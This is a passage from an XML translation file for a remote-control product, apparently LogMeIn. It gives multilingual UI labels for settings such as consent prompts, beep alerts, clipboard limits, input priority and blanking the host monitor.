<ko>원격 제어 후 항상 호스트 잠금</ko>
<hu>Gazdagép zárolása távvezérlés után minden esetben</hu>
<pt-br>Sempre bloquear o host após o controle remoto</pt-br>
<nl>De host altijd blokkeren na besturing op afstand</nl>
<en-gb>Always lock the host after remote control</en-gb>
</msg>
<msg name="BlockRemoteInput">
<en>Local keyboard &amp; mouse takes precedence over remote:</en>
<de>Tastatur und Maus des lokalen Computers haben vor denen des Ferncomputers Vorrang:</de>
<es>El teclado y ratón locales tienen prioridad sobre los remotos:</es>
<fr>Le clavier et la souris local(e) ont priorité sur ceux à distance :</fr>
<it>La tastiera e il mouse locali hanno la precedenza su quelli in remoto:</it>
<ru>Операции, производимые с помощью клавиатуры и мыши на локальном компьютере, имеют приоритет перед операциями, производимыми с удаленного компьютера:</ru>
<ja>ローカルのキーボードおよびマウスを優先する:</ja>
<zh>本地键盘和鼠标优先于远程键盘和鼠标:</zh>
<ko>로컬 키보드 및 마우스 설정이 원격 키보드 및 마우스 설정보다 우선함:</ko>
<hu>Helyi billentyűzet és egér előnyben részesítve a táveléréssel szemben:</hu>
<pt-br>O teclado e o mouse locais têm precedência sobre os remotos:</pt-br>
<nl>Lokale toetsenbord en muis hebben hogere prioriteit dan externe toetsenbord en muis:</nl>
</msg>
<msg brand="LMI" name="BlockRemoteInput">
<en>Keyboard and mouse priority:</en>
<es>Prioridad de teclado y ratón:</es>
<de>Vorrang bei Maus- und Tastennutzung:</de>
<fr>Priorité de clavier et souris :</fr>
<it>Priorità tastiera e mouse:</it>
<ru>Приоритет клавиатуры и мыши:</ru>
<ja>キーボードとマウスの優先度 : </ja>
<zh>键盘与鼠标优先权:</zh>
<ko>키보드 및 마우스 우선 순위:</ko>
<hu>Billentyűzet és egér fontossági sorrendje:</hu>
<pt-br>Prioridade de teclado e mouse:</pt-br>
<nl>Prioriteit van de muis en het toetsenbord:</nl>
<en-gb>Keyboard and mouse priority:</en-gb>
</msg>
<msg brand="LMI" name="HostSideUser">
<en>Host side user</en>
<es>Usuario del lado host</es>
<de>Hostseitiger Benutzer</de>
<fr>Utilisateur côté hôte</fr>
<it>Utente lato host</it>
<ru>Пользователь со стороны хоста</ru>
<ja>ホスト側ユーザ</ja>
<zh>主机端用户</zh>
<ko>호스트 측 사용자</ko>
<en-gb>Host side user</en-gb>
<hu>Gazdagép oldali felhasználó</hu>
<pt-br>Usuário do lado do host</pt-br>
<nl>Gebruiker aan de kant van de host</nl>
</msg>
<msg brand="LMI" name="RemoteSideUser">
<en>Remote user</en>
<es>Usuario remoto</es>
<de>Remotebenutzer</de>
<fr>Utilisateur distant</fr>
<it>Utente remoto</it>
<ru>Удаленный пользователь</ru>
<ja>リモート ユーザ</ja>
<zh>远程端用户</zh>
<ko>원격 사용자</ko>
<en-gb>Remote user</en-gb>
<hu>Távoli felhasználó</hu>
<pt-br>Usuário remoto</pt-br>
<nl>Gebruiker op afstand</nl>
</msg>
<msg name="UseOneClickLogin">
<en>Allow one click login to desktop:</en>
<de>Mit einem Klick auf Desktop anmelden:</de>
<es>Permitir iniciar sesión en el escritorio con un solo clic:</es>
<fr>Autoriser la connexion au bureau en un seul clic:</fr>
<it>Autorizza l'accesso al desktop con un semplice clic:</it>
<ru>Разрешить вход на настольный компьютер по одному щелчку:</ru>
<ja>デスクトップへのワン クリック ログインを許可する:</ja>
<zh>允许单击登录到桌面:</zh>
<ko>데스크톱에 1회 클릭 로그인 허용:</ko>
<hu>Az asztalra való egykattintásos bejelentkezés engedélyezése:</hu>
<pt-br>Permitir login na área de trabalho com apenas um clique:</pt-br>
<nl>Aanmelden bij bureaublad met één muisklik toestaan:</nl>
</msg>
<msg name="ScreenUpdates">
<en>Maximum number of screen updates per second:</en>
<de>Höchstzahl der Bildschirmaktualisierungen pro Sekunde:</de>
<es>Número máximo de actualizaciones de pantalla por segundo:</es>
<fr>Nombre maximum de mise à jour de l'écran par seconde:</fr>
<it>Numero massimo di aggiornamenti al secondo dello schermo:</it>
<ru>Максимальное число обновлений экрана в секунду:</ru>
<ja>秒あたりの画面更新の最大回数</ja>
<zh>每秒屏幕更新的最大次数:</zh>
<ko>초당 최대 화면 업데이트 수:</ko>
<en-gb>Maximum number of screen updates per second:</en-gb>
<hu>Képernyőfrissítések maximális száma másodpercenként:</hu>
<pt-br>Número máximo de atualizações de tela por segundo:</pt-br>
<nl>Maximumaantal schermverversingen per seconde:</nl>
</msg>
<msg name="ScreenshotBased">
<en>Use screenshot-based remote control by default:</en>
<de>Screenshot-basierte Fernüberwachung als Standard:</de>
<es>Utilizar por defecto control remoto basado en capturas de pantalla:</es>
<fr>Utiliser par défaut le mode photo d'écran pour l'accès à distance</fr>
<it>Usa controllo remoto basato su schermate per impostazione predefinita:</it>
<ru>Использовать удаленное управление по умолчанию, основанное на снимках экрана:</ru>
<ja>スクリーン ショット ベースのリモート制御を既定で使用する :</ja>
<zh>默认情况下,使用基于屏幕快照的远程控制:</zh>
<ko>기본적으로 스크린샷 기반 원격 제어 사용:</ko>
<en-gb>Use screenshot-based remote control by default:</en-gb>
<hu>Képernyőkép alapú távvezérlés használata alapértelmezésben:</hu>
<pt-br>Usar controle remoto baseado em captura de tela por padrão:</pt-br>
<nl>Besturing op afstand op basis van schermafbeeldingen gebruiken als standaard:</nl>
</msg>
<msg name="ControlType">
<en>Default Remote Control:</en>
<de>Standard Fernsteuerung</de>
<es>Control Remoto predeterminado:</es>
<fr>Accès à Distance par Défaut</fr>
<it>Controllo remoto predefinito:</it>
<ru>Удаленное управление по умолчанию:</ru>
<ja>既定のリモート制御 :</ja>
<zh>默认远程控制:</zh>
<ko>기본 원격 제어:</ko>
<en-gb>Default Remote Control:</en-gb>
<hu>Alapértelmezett Távvezérlő:</hu>
<pt-br>Controle remoto padrão:</pt-br>
<nl>Standaardbesturing op afstand:</nl>
</msg>
<msg name="ActiveXControlType">
<en>ActiveX</en>
<de>ActiveX</de>
<es>ActiveX</es>
<fr>ActiveX</fr>
<it>ActiveX</it>
<ru>ActiveX</ru>
<ja>ActiveX</ja>
<zh>ActiveX</zh>
<ko>ActiveX</ko>
<en-gb>ActiveX</en-gb>
<hu>ActiveX</hu>
<pt-br>ActiveX</pt-br>
<nl>ActiveX</nl>
</msg>
<msg name="MozillaControlType">
<en>Mozilla</en>
<de>Mozilla</de>
<es>Mozilla</es>
<fr>Mozilla</fr>
<it>Mozilla</it>
<ru>Mozilla</ru>
<ja>Mozilla</ja>
<zh>Mozilla</zh>
<ko>Mozilla</ko>
<en-gb>Mozilla</en-gb>
<hu>Mozilla</hu>
<pt-br>Mozilla</pt-br>
<nl>Mozilla</nl>
</msg>
<msg name="FlashControlType">
<en>Flash</en>
<de>Flash</de>
<es>Flash</es>
<fr>Flash</fr>
<it>Flash</it>
<ru>Flash</ru>
<ja>Flash</ja>
<zh>Flash</zh>
<ko>Flash</ko>
<en-gb>Flash</en-gb>
<hu>Flash</hu>
<pt-br>Flash</pt-br>
<nl>Flash</nl>
</msg>
<msg name="JavaControlType">
<en>Java</en>
<de>Java</de>
<es>Java</es>
<fr>Java</fr>
<it>Java</it>
<ru>Java</ru>
<ja>Java</ja>
<zh>Java</zh>
<ko>Java</ko>
<en-gb>Java</en-gb>
<hu>Java</hu>
<pt-br>Java</pt-br>
<nl>Java</nl>
</msg>
<msg name="HTMLControlType">
<en>HTML</en>
<de>HTML</de>
<es>HTML</es>
<fr>HTML</fr>
<it>HTML</it>
<ru>HTML</ru>
<ja>HTML</ja>
<zh>HTML</zh>
<ko>HTML</ko>
<en-gb>HTML</en-gb>
<hu>HTML</hu>
<pt-br>HTML</pt-br>
<nl>HTML</nl>
</msg>
<msg name="BeepWhenRCStartsOrEnds">
<en>Beep when the remote control session starts or ends:</en>
<de>Beep, wenn die Fernsteuerung startet oder beendet wird:</de>
<es>Reproducir sonido cuando se inicie o se termine la sesión de control remoto:</es>
<fr>Emettre un signal sonore lorque qu'une session d'accès à distance est ouverte ou fermée:</fr>
<it>Segnale acustico all'inizio o alla fine della sessione di controllo remoto:</it>
<ru>Подавать сигнал в начале и конце сеанса удаленного управления:</ru>
<ja>リモート制御セッションの開始または終了時に警告音を鳴らす :</ja>
<zh>当远程控制会话开始或结束时发出哔声:</zh>
<ko>원격 제어 세션이 시작 또는 종료되는 경우 경고음:</ko>
<en-gb>Beep when the remote control session starts or ends:</en-gb>
<hu>Sípolás a távvezérlési munkamenet indulásakor vagy végeztekor:</hu>
<pt-br>Emitir alarme sonoro quando a sessão do controle remoto for iniciada ou encerrada:</pt-br>
<nl>Pieptoon bij begin of einde van sessie voor besturing op afstand:</nl>
</msg>
<msg name="BeepContinuously">
<en>Beep continuously during remote control:</en>
<de>Fortwährender Beep während der Fernsteuerung:</de>
<es>Reproducir sonido continuamente durante el control remoto:</es>
<fr>Emettre un signal sonore continuellement durant l'accès à distance:</fr>
<it>Segnale acustico continuo durante il controllo remoto:</it>
<ru>Непрерывно подавать сигнал в течение сеанса удаленного управления:</ru>
<ja>リモート制御中、連続的に警告音を鳴らす :</ja>
<zh>远程控制过程中持续发出哔声:</zh>
<ko>원격 제어 중에 계속 경고음:</ko>
<en-gb>Beep continuously during remote control:</en-gb>
<hu>Folyamatos sípolás a távvezérlés ideje alatt:</hu>
<pt-br>Emitir alarme sonoro continuamente durante o uso do controle remoto:</pt-br>
<nl>Permanente pieptoon tijdens besturing op afstand:</nl>
</msg>
<msg name="BeepInterval">
<en>Beep interval:</en>
<de>Beep Intervall:</de>
<es>Intervalo de señal sonora:</es>
<fr>Intervalle des signaux sonores</fr>
<it>Intervallo segnale acustico:</it>
<ru>Интервал между сигналами:</ru>
<ja>指定の間隔で警告音を鳴らす :</ja>
<zh>发出哔声间隔:</zh>
<ko>경고음 간격:</ko>
<en-gb>Beep interval:</en-gb>
<hu>Sípolás időköze:</hu>
<pt-br>Intervalo de alarme sonoro:</pt-br>
<nl>Interval voor pieptoon:</nl>
</msg>
<msg name="BeepIntervalExplain">
<en>min: 5s, max: 1h</en>
<de>min: 5s, max: 1h</de>
<es>mín.: 5 seg., máx.: 1 h.</es>
<fr>min: 5s, max: 1h</fr>
<it>min.: 5 sec., max: 1 h</it>
<ru>мин: 5 с, макс: 1 ч</ru>
<ja>最小 :5 秒、最大 :1 時間</ja>
<zh>最短:5s、最长:1h</zh>
<ko>최소: 5초, 최대: 1시간</ko>
<en-gb>min: 5s, max: 1h</en-gb>
<hu>minimum: 5 másodperc, maximum: 1 óra</hu>
<pt-br>min: 5 s, máx: 1 h</pt-br>
<nl>min.: 5 s, max.: 1 u</nl>
</msg>
<msg name="FlashKeyboardIndicators">
<en>Flash Keyboard Indicator Lights</en>
<es>Luces indicadoras de teclado flash</es>
<de>Blinkende Tastaturanzeige</de>
<fr>Clignotement des voyants du clavier</fr>
<it>Indicatori luminosi intermittenti tastiera</it>
<ru>Активировать индикатор клавиатуры</ru>
<ja>キーボード インジケータ ライトを点滅</ja>
<zh>键盘指示灯闪烁</zh>
<ko>플래시 키보드 표시등</ko>
<en-gb>Flash Keyboard Indicator Lights</en-gb>
<hu>Billentyűzet jelzőfényeinek villogtatása</hu>
<pt-br>Piscar luzes indicadoras do teclado</pt-br>
<nl>Indicatielampjes op toetsenbord laten knipperen</nl>
</msg>
<msg name="AutoclipboardSize">
<en>Automatic clipboard transfer maximum size:</en>
<de>Maximale Größe der automatischen Übertragung der Zwischenablage:</de>
<es>Tamaño máximo de transferencia de portapapeles automática:</es>
<fr>Taille maximum automatique pour le presse-papier:</fr>
<it>Dimensione massima trasferimento automatico Appunti:</it>
<ru>Максимальный размер автоматической передачи буферов обмена:</ru>
<ja>自動クリップボード転送の最大サイズ :</ja>
<zh>自动剪贴板传输的最大大小:</zh>
<ko>자동 클립보드 전송 최대 크기:</ko>
<en-gb>Automatic clipboard transfer maximum size:</en-gb>
<hu>Automatikus vágólap-átvitel maximális mérete:</hu>
<pt-br>Tamanho máximo da transferência automática da área de transferência:</pt-br>
<nl>Maximumgrootte voor automatische overdracht van Klembord:</nl>
</msg>
<msg name="AutoclipboardSizeExplain">
<en>min: 1, max: 16384</en>
<de>min: 1, max: 16384</de>
<es>mín.: 1 seg., máx.: 16384</es>
<fr>min: 1, max: 16384 (ko)</fr>
<it>min.: 1, max: 16384</it>
<ru>мин: 1, макс: 16384</ru>
<ja>最小 :1、最大 : 16384</ja>
<zh>最小:1、最大: 16384</zh>
<ko>최소: 1, 최대: 16384</ko>
<en-gb>min: 1, max: 16384</en-gb>
<hu>minimum: 1, maximum: 16384</hu>
<pt-br>min: 1, máx: 16384</pt-br>
<nl>min.: 1, max.: 16384</nl>
</msg>
<msg name="AskForPermission">
<en>Ask for permission from interactive user:</en>
<de>Erlaubnis des interaktiven Benutzers einholen:</de>
<es>Pida permiso al usuario interactivo:</es>
<fr>Demander la permission de l'utilisateur interactif:</fr>
<it>Richiesta autorizzazione da utente interattivo:</it>
<ru>Спрашивать разрешения у интерактивного пользователя:</ru>
<ja>インタラクティブ ユーザの権限を要求する :</ja>
<zh>请求交互式用户授予权限:</zh>
<ko>대화형 사용자 권한 요청:</ko>
<en-gb>Ask for permission from interactive user:</en-gb>
<hu>Engedély kérése az interaktív felhasználótól:</hu>
<pt-br>Pedir permissão do usuário interativo:</pt-br>
<nl>Toestemming vragen van interactieve gebruiker:</nl>
</msg>
<msg brand="LMI" name="AskForPermission">
<en>Request consent from host side user</en>
<es>Solicitar consentimiento del usuario del lado host</es>
<de>Zustimmung des hostseitigen Benutzers anfordern</de>
<fr>Demander l'accord de l'utilisateur côté hôte</fr>
<it>Richiedi autorizzazione dall'utente lato host</it>
<ru>Запрашивать согласие у пользователя хоста</ru>
<ja>ホスト側ユーザからの同意を要求する</ja>
<zh>请求主机端用户的同意</zh>
<ko>호스트 측 사용자의 동의 요청</ko>
<hu>Beleegyezés kérése a gazdaoldali felhasználótól</hu>
<pt-br>Solicitar consentimento do usuário do lado do host</pt-br>
<nl>Toestemming van gebruiker aan de kant van de host vragen</nl>
<en-gb>Request consent from host side user</en-gb>
</msg>
<msg name="AskForPermissionDefault">
<en>Default answer for confirmation message:</en>
<de>Wie ist die Standardantwort, falls der interaktive Benutzer in der gesetzten Zeit nicht antwortet?</de>
<es>Respuesta preestablecida para mensaje de confirmación:</es>
<fr>Réponse par défaut pour le message de confirmation:</fr>
<it>Risposta predefinita per messaggio di conferma:</it>
<ru>Ответ по умолчанию для сообщения подтверждения:</ru>
<ja>確認メッセージの既定の回答 :</ja>
<zh>确认信息的默认答案:</zh>
<ko>확인 메시지에 대한 기본 대답:</ko>
<en-gb>Default answer for confirmation message:</en-gb>
<hu>Alapértelmezett válasz a megerősítő üzenetre:</hu>
<pt-br>Mensagem padrão para a mensagem de confirmação:</pt-br>
<nl>Standaardantwoord voor bevestigingsbericht:</nl>
</msg>
<msg brand="LMI" name="AskForPermissionDefault">
<en>If user does not respond</en>
<es>Si el usuario no responde:</es>
<de>Wenn der Benutzer nicht reagiert:</de>
<fr>Si l'utilisateur ne répond pas :</fr>
<it>Se l'utente non risponde:</it>
<ru>Если пользователь не отвечает:</ru>
<ja>ユーザが応答しない場合:</ja>
<zh>如果用户无响应:</zh>
<ko>사용자가 응답하지 않을 경우:</ko>
<en-gb>If user does not respond:</en-gb>
<hu>Ha a felhasználó nem felel:</hu>
<pt-br>Se o usuário não responder:</pt-br>
<nl>Wanneer de gebruiker niet reageert:</nl>
</msg>
<msg name="StartRemoteCtrl">
<en>Start remote control</en>
<es>Iniciar control remoto</es>
<de>Fernsteuerung starten</de>
<fr>Démarrer le contrôle à distance</fr>
<it>Avvia controllo remoto</it>
<ru>Включить удаленное управление</ru>
<ja>リモート制御を開始する</ja>
<zh>启动远程控制</zh>
<ko>원격 제어 시작</ko>
<en-gb>Start remote control</en-gb>
<hu>Távvezérlés indítása</hu>
<pt-br>Iniciar controle remoto</pt-br>
<nl>Besturing op afstand starten</nl>
</msg>
<msg name="RejectRequest">
<en>Reject request</en>
<es>Rechazar petición</es>
<de>Anfrage ablehnen</de>
<fr>Refuser la demande</fr>
<it>Rifiuta richiesta</it>
<ru>Отклонить запрос</ru>
<ja>要求を拒否する</ja>
<zh>拒绝请求</zh>
<ko>승인 거부</ko>
<en-gb>Reject request</en-gb>
<hu>Kérés elutasítása</hu>
<pt-br>Rejeitar solicitação</pt-br>
<nl>Verzoek afwijzen</nl>
</msg>
<msg name="PermissionTimeout">
<en>Time allowed for the interactive user to give permission:</en>
<de>Zeit für den interaktiven Benutzer um die Freigabeanfrage zu beantworten?</de>
<es>Tiempo permitido para que el usuario interactivo dé permiso:</es>
<fr>Temps disponible à l'utilisateur interactif pour donner la permission:</fr>
<it>Tempo consentito per l'autorizzazione da parte dell'utente interattivo:</it>
<ru>Время, отпускаемое интерактивному пользователю на предоставление разрешения:</ru>
<ja>インタラクティブ ユーザの権限付与に対し許可された時間 :</ja>
<zh>允许交互式用户授予权限的时间:</zh>
<ko>대화형 사용자가 권한을 부여하기 위해 허용된 시간:</ko>
<en-gb>Time allowed for the interactive user to give permission:</en-gb>
<hu>Az interaktív felhasználó számára engedélyezett idő az engedély megadására:</hu>
<pt-br>Tempo permitido para o usuário interativo fornecer permissão:</pt-br>
<nl>Toegestane tijd voor verlenen van toestemming door interactieve gebruiker:</nl>
</msg>
<msg brand="LMI" name="PermissionTimeout">
<en>Time to wait for user's consent:</en>
<es>Tiempo de espera para el consentimiento del usuario:</es>
<de>Wartezeit für Benutzerzustimmung:</de>
<fr>Durée d'attente de l'accord de l'utilisateur :</fr>
<it>Tempo di attesa per l'autorizzazione dell'utente:</it>
<ru>Время ожидания согласия пользователя:</ru>
<ja>ユーザの同意の待ち時間 : </ja>
<zh>等待用户同意的时间:</zh>
<ko>다음 시간 동안 사용자 동의 대기:</ko>
<hu>Várakozási idő a felhasználó engedélyére:</hu>
<pt-br>Tempo a aguardar pelo consentimento do usuário:</pt-br>
<nl>Wachttijd voor gebruikerstoestemming:</nl>
<en-gb>Time to wait for user's consent:</en-gb>
</msg>
<msg name="PermissionTimeoutExplain">
<en>min: 3s, max: 30s</en>
<de>min: 3s, max: 30s</de>
<es>mín.: 3 seg., máx.: 30 seg.</es>
<fr>min: 3s, max: 30s</fr>
<it>min.: 3 sec., max: 30 sec.</it>
<ru>мин: 3 с, макс: 30 c</ru>
<ja>最小 :3 秒、最大 :30 秒</ja>
<zh>最短:3秒钟 、最长:30秒钟</zh>
<ko>최소: 3초, 최대: 30초</ko>
<en-gb>min: 3s, max: 30s</en-gb>
<hu>min.: 3 mp, max.: 30 mp</hu>
<pt-br>min: 3 s, máx: 30 s</pt-br>
<nl>min.: 3 s, max.: 30 s</nl>
</msg>
<msg name="PermissionText">
<en>Text to display to the user:</en>
<de>Anzeigetext für den Benutzer:</de>
<es>Texto que se le mostrará al usuario:</es>
<fr>Texte à afficher à l'utilisateur</fr>
<it>Testo da visualizzare per l'utente:</it>
<ru>Текст, отображаемый пользователю:</ru>
<ja>ユーザに対して表示するテキスト :</ja>
<zh>要向用户显示的文本:</zh>
<ko>사용자에게 표시할 텍스트:</ko>
<en-gb>Text to display to the user:</en-gb>
<hu>A felhasználó számára megjelenített szöveg:</hu>
<pt-br>Texto a exibir para o usuário:</pt-br>
<nl>Tekst weer te geven voor gebruiker:</nl>
</msg>
<msg brand="LMI" name="PermissionText">
<en>Request message:</en>
<es>Mensaje de solicitud:</es>
<de>Anforderungsnachricht:</de>
<fr>Message de demande :</fr>
<it>Messaggio di richiesta:</it>
<ru>Сообщение запроса:</ru>
<ja>要求メッセージ : </ja>
<zh>请求消息:</zh>
<ko>메시지 요청:</ko>
<hu>Engedélykérő üzenet:</hu>
<pt-br>Mensagem de solicitação:</pt-br>
<nl>Bericht opvragen:</nl>
<en-gb>Request message:</en-gb>
</msg>
<msg name="RemoteControlledText">
<en>Message when computer being remote controlled:</en>
<es>Mensaje para cuando el ordenador está siendo controlado en forma remota:</es>
<de>Nachricht bei Remotesteuerung des Computers:</de>
<fr>Message lorsque l'ordinateur est contrôlé à distance :</fr>
<it>Messaggio in caso di controllo remoto del computer:</it>
<ru>Сообщение на период удаленного управления компьютером:</ru>
<ja>コンピュータがリモート制御されている場合のメッセージ :</ja>
<zh>计算机被远程控制时显示的消息:</zh>
<ko>컴퓨터가 원격 제어 중인 경우 메시지:</ko>
<en-gb>Message when computer being remote controlled:</en-gb>
<hu>Üzenet, amikor a számítógépet távolról vezérlik:</hu>
<pt-br>Mensagem quando o computador está sendo remotamente controlado:</pt-br>
<nl>Bericht wanneer de computer op afstand wordt bestuurd:</nl>
</msg>
<msg name="RemoteMonitoredText">
<en>Message when computer being remotely monitored:</en>
<es>Mensaje para cuando el ordenador está siendo controlado de forma remota:</es>
<de>Nachricht bei Remoteüberwachung des Computers:</de>
<fr>Message lorsque l'ordinateur est surveillé à distance :</fr>
<it>Messaggio in caso di monitoraggio remoto del computer:</it>
<ru>Сообщение на период удаленного мониторинга компьютера:</ru>
<ja>コンピュータがリモート監視されている場合のメッセージ :</ja>
<zh>计算机被远程监视时的消息:</zh>
<ko>컴퓨터가 원격 모니터링되는 경우 메시지:</ko>
<en-gb>Message when computer being remotely monitored:</en-gb>
<hu>Üzenet, amikor a számítógépet távolról figyelik:</hu>
<pt-br>Mensagem quando o computador está sendo remotamente monitorado:</pt-br>
<nl>Bericht wanneer de computer op afstand wordt gecontroleerd:</nl>
</msg>
<msg name="AskForPermExcept">
<en>Do not require authorization if user is not present:</en>
<de>Autorisierung ist nicht anfordern, wenn der Anwender nicht anwesend ist.</de>
<es>No requiere autorización si el usuario no está presente:</es>
<fr>Ne requiert pas d'autorisation si l'utilisateur est absent:</fr>
<it>Non richiedere l'autorizzazione se l'utente non è presente:</it>
<ru>Не требовать проверки подлинности, если пользователь не присутствует:</ru>
<ja>ユーザが不在の場合は認証を必要としない :</ja>
<zh>如果用户不在,则不需要授权:</zh>
<ko>사용자가 없으면 인증이 필요하지 않음:</ko>
<en-gb>Do not require authorisation if user is not present:</en-gb>
<hu>Ne kérjen engedélyt, ha a felhasználó nincs jelen:</hu>
<pt-br>Não requer autorização se o usuário estiver ausente:</pt-br>
<nl>Geen autorisatie vereist indien gebruiker niet aanwezig is:</nl>
</msg>
<msg brand="LMI" name="AskForPermExcept">
<en>Host side user is not present</en>
<es>El usuario del lado host no está presente</es>
<de>Hostseitiger Benutzer ist abwesend</de>
<fr>Utilisateur côté hôte absent</fr>
<it>L'utente lato host non è presente</it>
<ru>Пользователь хоста отсутствует</ru>
<ja>ホスト側ユーザが不在の場合</ja>
<zh>主机端用户不存在</zh>
<ko>호스트 사이드 사용자가 나타나지 않음</ko>
<hu>A gazdaoldali felhasználó nincs jelen</hu>
<pt-br>O usuário do lado do host não está presente</pt-br>
<nl>Gebruiker aan de kant van de host is niet aanwezig</nl>
<en-gb>Host side user is not present</en-gb>
</msg>
<msg name="AskForPermExceptExplain">
<en>When the above flag is set, %PRODUCTNAME will not prompt the operator for permission if the screen saver is active, the workstation is locked or no user is logged on.</en>
<de>Wenn die Option oben gesetzt ist und der Bildschirmschoner aktiv ist, der Computer gesperrt ist oder kein Benutzer angemeldet ist, wird der Anwender von %PRODUCTNAME nicht aufgefordert die Erlaubnis zu erteilen.</de>
<es>Si está establecida la marca de arriba, %PRODUCTNAME no solicitará al operador el permiso si está activo el protector de pantalla, la estación de trabajo está bloqueada o si no hay ninguna sesión iniciada.</es>
<fr>Lorsque le drapeau ci-dessus est marqué, %PRODUCTNAME n'enverra pas de demande de permission à l'opérateur si l'économiseur d'écran est activité, ou si le poste de travail est verrouillé ou si aucun utilisateur n'est loggué.</fr>
<it>Quando è impostato il contrassegno precedente, %PRODUCTNAME non richiede l'autorizzazione all'operatore se lo screen saver è attivo, la workstation è bloccata o non è connesso alcun utente.</it>
<ru>Когда упомянутый выше флаг установлен, то приложение %PRODUCTNAME не будет спрашивать у оператора разрешение, если активна заставка, рабочая станция блокирована или в системе не зарегистрирован ни один пользователь.</ru>
<ja>上のフラグが設定されているときは、スクリーンセーバーがアクティブでも、ワークステーションがロックされていても、ログインしているユーザがいなくても、%PRODUCTNAME はオペレータに権限を求めません。</ja>
<zh>如果已设置以上标志,并且屏幕保护程序处于活动状态、工作站已锁定或没有用户登录,则 %PRODUCTNAME 将不会提示操作员应具有相应的权限。</zh>
<ko>위의 플래그가 설정되면 화면 보호기를 사용 중이고 워크스테이션이 잠겨 있거나 사용자가 로그온되지 않은 경우 %PRODUCTNAME은(는) 운영자에게 권한을 묻지 않습니다.</ko>
<en-gb>When the above flag is set, %PRODUCTNAME will not prompt the operator for permission if the screen saver is active, the workstation is locked or no user is logged on.</en-gb>
<hu>Ha a fenti jelző be van állítva, a %PRODUCTNAME nem fog engedélyt kérni a kezelőtől, ha a képernyővédő aktív, a munkaállomás zárolt, vagy, ha nincs bejelentkezett felhasználó.</hu>
<pt-br>Quando o sinalizador acima for definido, o %PRODUCTNAME não solicitará permissão ao operador se a proteção de tela estiver ativa, a estação de trabalho estiver bloqueada ou não houver usuário conectado.</pt-br>
<nl>Als de bovenstaande optie is ingeschakeld, wordt de gebruiker in %PRODUCTNAME niet gevraagd om een toestemming te geven als de schermbeveiliging is ingeschakeld, het workstation is geblokkeerd of geen gebruiker zich heeft aangemeld.</nl>
</msg>
<msg brand="LMI" name="NeverWaitForConsent">
<en>Never wait for user consent in these cases:</en>
<es>No esperar nunca al consentimiento del usuario en estos casos:</es>
<de>In diesen Fällen nie auf Zustimmung des Benutzers warten:</de>
<fr>Ne pas attendre l'autorisation de l'utilisateur dans les cas suivants :</fr>
<it>Non attendere mai il consenso dell'utente in questi casi:</it>
<ru>Никогда не ждать согласия пользователя в следующих случаях:</ru>
<ja>次の場合はユーザの同意を待たない:</ja>
<zh>在以下情况下永不等待用户同意:</zh>
<ko>다음과 같은 경우 사용자 동의를 기다리지 않음:</ko>
<en-gb>Never wait for user consent in these cases:</en-gb>
<hu>Soha ne várjon felhasználói jóváhagyásra az alábbi esetekben:</hu>
<pt-br>Nunca aguardar consentimento do usuário nestes casos:</pt-br>
<nl>In de volgende gevallen nooit op toestemming van de gebruiker wachten:</nl>
</msg>
<msg name="AllowLoopback">
<en>Allow remote control from the local computer:</en>
<de>Fernsteuerung vom lokalen Computer aus erlauben:</de>
<es>Permitir control remoto del ordenador local:</es>
<fr>Autoriser l'accès à distance depuis l'ordinateur local:</fr>
<it>Consenti controllo remoto dal computer locale:</it>
<ru>Разрешить удаленное управление из данного локального компьютера:</ru>
<ja>ローカル コンピュータからのリモート制御を許可 :</ja>
<zh>允许从本地计算机进行远程控制:</zh>
<ko>로컬 컴퓨터에서 원격 제어 허용:</ko>
<en-gb>Allow remote control from the local computer:</en-gb>
<hu>Távvezérlés engedélyezése a helyi számítógépről:</hu>
<pt-br>Permitir controle remoto do computador local:</pt-br>
<nl>Besturing op afstand vanaf de lokale computer toestaan:</nl>
</msg>
<msg name="DisableLocalInput">
<en>Disable host keyboard and mouse:</en>
<de>Tastatur und Maus für den interaktiven Benutzer deaktivieren:</de>
<es>Deshabilitar teclado y ratón del host:</es>
<fr>Désactiver le clavier et la souris de l'hôte distant:</fr>
<it>Disattiva tastiera e mouse dell'host:</it>
<ru>Отключить клавиатуру и мышь хост-компьютера:</ru>
<ja>ホストのキーボードおよびマウスを無効にする :</ja>
<zh>禁用主机键盘和鼠标:</zh>
<ko>호스트 키보드 및 마우스 사용 안 함:</ko>
<en-gb>Disable host keyboard and mouse:</en-gb>
<hu>Gazda billentyűzet és egér letiltása:</hu>
<pt-br>Desabilitar o teclado e o mouse do host:</pt-br>
<nl>Toetsenbord en muis van hostcomputer uitschakelen:</nl>
</msg>
<msg name="DisableHostMonitor">
<en>Blank the host's monitor:</en>
<de>Keine Anzeige auf dem Monitor des fernbedienten Computers:</de>
<es>Dejar en negro el la pantalla del host:</es>
<fr>Masquer l'écran de l'hôte distant :</fr>
<it>Cancella il contenuto del monitor dell'host:</it>
<ru>Очистить экран хост-компьютера:</ru>
<ja>ホストのモニタを消去 :</ja>
<zh>使主机显示器黑屏:</zh>
<ko>호스트 모니터 비움:</ko>
<en-gb>Blank the host's monitor:</en-gb>
<hu>Üres képernyő a gazdagépen:</hu>
<pt-br>Deixar o monitor do host em branco:</pt-br>
<nl>Beeldscherm van hostcomputer uitschakelen:</nl>
</msg>
<msg name="AllowInvites">
<en>Allow Desktop Sharing:</en>
<es>Permitir Escritorio compartido:</es>
<de>Desktopfreigabe zulassen:</de>
<fr>Autoriser le partage de bureau :</fr>
<it>Consenti Condivisione del desktop:</it>
<ru>Разрешить oбщий доступ к рабочему столу:</ru>
<ja>デスクトップ共有の許可:</ja>
<zh>允许桌面共享:</zh>
<ko>데스크톱 공유 허용</ko>
<en-gb>Allow Desktop Sharing:</en-gb>
<hu>Képernyő megosztásának engedélyezése:</hu>
<pt-br>Permitir compartilhamento do desktop:</pt-br>
<nl>Delen van bureaublad toestaan:</nl>
</msg>
<msg name="UseMirrorDriver">
<en>Use mirror display driver:</en>
<de>Mirror-Display-Treiber verwenden:</de>
<es>Utilizar driver de réplica:</es>
<fr>Utiliser le pilote "Mirror display driver"</fr>
<it>Usa Driver di mirroring del display:</it>
<ru>Использовать драйвер зеркального отображения:</ru>
<ja>ミラー ディスプレイ ドライバの使用 :</ja>
<zh>使用镜像显示驱动程序:</zh>
<ko>미러 표시 드라이버 사용:</ko>
<en-gb>Use mirror display driver:</en-gb>
<hu>Tükrözött képernyő-illesztőprogram használata:</hu>
<pt-br>Usar espelho para exibir driver:</pt-br>
<nl>Stuurprogramma voor gespiegeld beeldscherm gebruiken:</nl>
</msg>
<msg brand="LMI" name="UseMirrorDriver">
<en>Use display accelerator</en>
<es>Utilizar acelerador de visualización</es>
